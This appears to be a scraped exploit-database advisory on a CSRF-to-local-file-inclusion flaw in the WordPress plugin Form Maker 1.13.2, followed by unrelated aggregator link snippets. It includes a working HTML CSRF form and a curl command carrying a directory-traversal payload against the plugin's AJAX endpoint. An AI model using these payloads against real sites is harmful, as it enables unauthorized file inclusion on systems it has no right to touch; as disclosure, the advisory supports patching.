WordPress Plugin Form Maker [CSRF → LFI] vulnerable 2019-03-17
# Title: Form Maker by WD [CSRF → LFI]
# Date: 2019-03-17
# Exploit Author: Panagiotis Vagenas
# Vendor Homepage: http://web-dorado.com/
# Software Link: https://wordpress.org/plugins/form-maker
# Version: 1.13.2
# Tested on: WordPress 5.1
Description
-----------
Plugin implements the following AJAX actions:
- `generete_csv`
- `generete_xml`
- `formmakerwdcaptcha`
- `formmakerwdmathcaptcha`
- `product_option`
- `FormMakerEditCountryinPopup`
- `FormMakerMapEditinPopup`
- `FormMakerIpinfoinPopup`
- `show_matrix`
- `FormMakerSubmits`
- `FormMakerSQLMapping`
- `select_data_from_db`
- `manage_fm`
- `FMShortocde`
All of them call the function `form_maker_ajax`. This function
dynamicaly loads a file defined in `$_GET['action']` or
`$_POST['action']` if the former is not defined. Because of the way
WordPress defines the AJAX action a user could define the plugin action
in the `$_GET['action']` and AJAX action in `$_POST['action']`.
Leveraging that and the fact that no sanitization is performed on the
`$_GET['action']`, a malicious actor can perform a CSRF attack to load a
file using directory traversal thus leading to Local File Inclusion
vulnerability.
Plugin also registers the following AJAX actions:
- `paypal_info`
- `checkpaypal`
Those seems like the are only available to PRO version users, yet they
also are vulnerable to this attack.
Additionally the following AJAX actions are registered in PRO version:
- `get_frontend_stats`
- `frontend_show_map`
- `frontend_show_matrix`
- `frontend_paypal_info`
- `frontend_generate_csv`
- `frontend_generate_xml`
Those have the function `form_maker_ajax_frontend` as a callback. All of
them are vulnerable to the aforementioned attack. What's more
interesting about those is the fact that are available to non-registered
users also, making this attack directly exploitable, without using a
CSRF attack. In this case the vulnerable param is `$_REQUEST['page']`.
------
PoC
### Using a CSRF attack
```HTML
<form method="post"
action="http://wp-plugin-csrf.dev/wp-admin/admin-ajax.php?action=/../../../../../index">
<label>AJAX action:
<select name="action">
<optgroup label="Free version">
<option value="generete_csv">generete_csv</option>
<option value="generete_xml">generete_xml</option>
<option value="formmakerwdcaptcha">formmakerwdcaptcha</option>
<option value="formmakerwdmathcaptcha">formmakerwdmathcaptcha</option>
<option value="product_option">product_option</option>
<option value="FormMakerEditCountryinPopup">FormMakerEditCountryinPopup</option>
<option value="FormMakerMapEditinPopup">FormMakerMapEditinPopup</option>
<option value="FormMakerIpinfoinPopup">FormMakerIpinfoinPopup</option>
<option value="show_matrix">show_matrix</option>
<option value="FormMakerSubmits">FormMakerSubmits</option>
<option value="FormMakerSQLMapping">FormMakerSQLMapping</option>
<option value="select_data_from_db">select_data_from_db</option>
<option value="manage_fm">manage_fm</option>
<option value="FMShortocde">FMShortocde</option>
</optgroup>
<optgroup label="Pro Version">
<option value="paypal_info">paypal_info</option>
<option value="checkpaypal">checkpaypal</option>
<option value="get_frontend_stats">get_frontend_stats</option>
<option value="frontend_show_map">frontend_show_map</option>
<option value="frontend_show_matrix">frontend_show_matrix</option>
<option value="frontend_paypal_info">frontend_paypal_info</option>
<option value="frontend_generate_csv">frontend_generate_csv</option>
<option value="frontend_generate_xml">frontend_generate_xml</option>
</optgroup>
</select>
</label>
<button type="submit" value="Submit">Submit</button>
</form>
```
### Without leveraging the CSRF vulnerability
```sh
curl 'http://wp-plugin-csrf.dev/wp-admin/admin-ajax.php' -d 'action=get_frontend_stats&page=/../../../../../index'
```
WordPress Plugin Form Maker [CSRF → LFI] vulnerable 2019-03-17的更多相关文章
- WordPress Plugin Contact Form Builder [CSRF → LFI]
# Exploit Title: Contact Form Builder [CSRF → LFI]# Date: 2019-03-17# Exploit Author: Panagiotis Vag ...
- WordPress plugin Contact Form [CSRF → LFI] vulnerable 2019-03-17
# Exploit Title: Contact Form by WD [CSRF → LFI]# Date: 2019-03-17# Exploit Author: Panagiotis Vagen ...
- [2019/03/17#杭师大ACM]赛后总结(被吊锤记)
前言 和扬子曰大佬和慕容宝宝大佬一组,我压力巨大,而且掌机,累死我了,敲了一个下午的代码,他们两个人因为比我巨就欺负我QwQ. 依旧被二中学军爆锤,我真的好菜,慕容宝宝或者是扬子曰大佬来掌机一定成绩比 ...
- article2pdf (Wordpress plug-in) Multiple vulnerabilities(CVE-2019-1000031, CVE-2019-1010257)
Product: article2pdf (Wordpress plug-in)Product Website: https://wordpress.org/plugins/article2pdf/A ...
- Django之Form、CSRF、cookie和session
Django是一个大而全的web框架,为我们提供了很多实用的功能,本文主要介绍Form.CSRF.cookie和session 一.Form 在web页面中form表单是重要的组成部分,为了数据安全和 ...
- Django的Form、CSRF、cookie和session
Django是一个大而全的web框架,为我们提供了很多实用的功能,本文主要介绍Form.CSRF.cookie和session 一.Form 在web页面中form表单是重要的组成部分,为了数据安全和 ...
- WordPress Contact Form 7插件任意文件上传漏洞
漏洞名称: WordPress Contact Form 7插件任意文件上传漏洞 CNNVD编号: CNNVD-201311-415 发布时间: 2013-11-28 更新时间: 2013-11-28 ...
- HTML form without CSRF protection,HTML表单没有CSRF保护
HTML form without CSRF protection =HTML表单没有CSRF保护 CSRF是伪造客户端请求的一种攻击,CSRF的英文全称是Cross Site Request For ...
- [2019.03.25]Linux中的查找
TMUX天下第一 全世界所有用CLI Linux的人都应该用TMUX,我爱它! ======================== 以下是正文 ======================== Linu ...
随机推荐
- centos7的内核区别
最近重新搭建环境准备测试一些东西,在网上随意下载了一个镜像,名字叫做:CentOS-7-i386-Everything-1810 下载完之后开始做实验安装软件的时候发现一直报错:[Errno 14] ...
- Django学习笔记(1)--第一个项目
操作系统:Windows Python版本:python3.6 前置工作: pip install virtualenvwrapper #安装虚拟环境管理包 1.创建虚拟环境 mkvirtualenv ...
- MUI版本升级更新程序IOS和andriod
var wgtVer=null; function plusReady(){ // 获取本地应用资源版本号 plus.runtime.getProperty(plus.runtime.appid,fu ...
- Nginx+Django-Python+BPMN-JS的整合工作流实战项目
前言 找一个好用的画图工具真心不容易,Activiti 工作流自带的 Web 版画图工具,外表挺华丽,其实使用起来各种拧巴:Eclipse 的 Activiti 画图插件,对于相对复杂的流程也是很不友 ...
- 揽货最短路径解决方案算法 - V2(增加了时间维度-客户允许的服务时间段,C#/JAVA同步实现,带python作图)
继上篇,这里改进增加了客户允许服务的时间范围这个维度,并且把C#版本翻译成java,加强了更加形象的图表展示路径(继续是用python的matplotlib作图). 这里的时间范围维度是指:每个客户都 ...
- gradle配置国内镜像
对单个项目生效,在项目中的build.gradle修改内容 buildscript { repositories { maven { url 'http://maven.aliyun.com/nexu ...
- java基础-03基本语法
关键词 常用关键字53个(含2个保留字): 1.保留关键字(2个) const --常量 常数:用于修改字段或局部变量的声明. goto--转到 指定跳转到标签,找到标签后,程序将处理从下一行开始的命 ...
- git添加秘钥提示Key is already in use
种种原因,需要修改git账号的秘钥. 操作如下: 1.删除系统上.ssh下的known_hosts文件 (一般在这个路径下C:\Users\Administrator\.ssh)如果账号不是Admi ...
- pc端手機端自適應佈局方案
https://blog.csdn.net/chose_DoIt/article/details/80424341 https://blog.csdn.net/cxz792116/article/de ...
- 【python 字符串】 字符串的相关方法(三)
# 将字符串中的每个元素,按照指定分隔符进行拼接 # 空格 .# ._ 等等 不能是反斜杠 test = '你是风儿我是沙' ret = '#'.join(test) print(ret) 你#是#风 ...